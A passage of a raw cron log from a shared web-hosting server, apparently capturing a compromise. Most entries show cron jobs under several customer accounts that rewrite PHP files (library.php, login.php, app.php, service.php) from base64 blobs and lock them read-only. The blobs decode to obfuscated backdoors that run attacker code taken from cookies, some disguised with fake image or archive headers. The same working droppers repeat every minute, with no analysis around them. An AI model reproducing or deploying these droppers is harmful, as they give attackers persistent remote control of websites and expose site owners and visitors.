SkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:18:01 medusa CROND[5043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:18:01 medusa CROND[5044]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:18:01 medusa CROND[5045]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:18:01 medusa CROND[5049]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:18:01 medusa CROND[5051]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 23:18:01 medusa CROND[5054]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 23:18:01 medusa CROND[5061]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:18:01 medusa CROND[5062]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:18:01 medusa CROND[5063]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:19:01 medusa CROND[10934]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:19:01 medusa CROND[11144]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:19:01 medusa CROND[11145]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:19:01 medusa CROND[11146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:19:01 medusa CROND[11147]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:19:01 medusa CROND[11148]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:19:01 medusa CROND[11150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:19:01 medusa CROND[11152]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:19:01 medusa CROND[11154]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 23:19:01 medusa CROND[11157]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:19:01 medusa CROND[11158]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:19:01 medusa CROND[11172]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:20:01 medusa CROND[15706]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 23:20:01 medusa CROND[15857]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:20:01 medusa CROND[15858]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:20:01 medusa CROND[15859]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:20:01 medusa CROND[15933]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1IC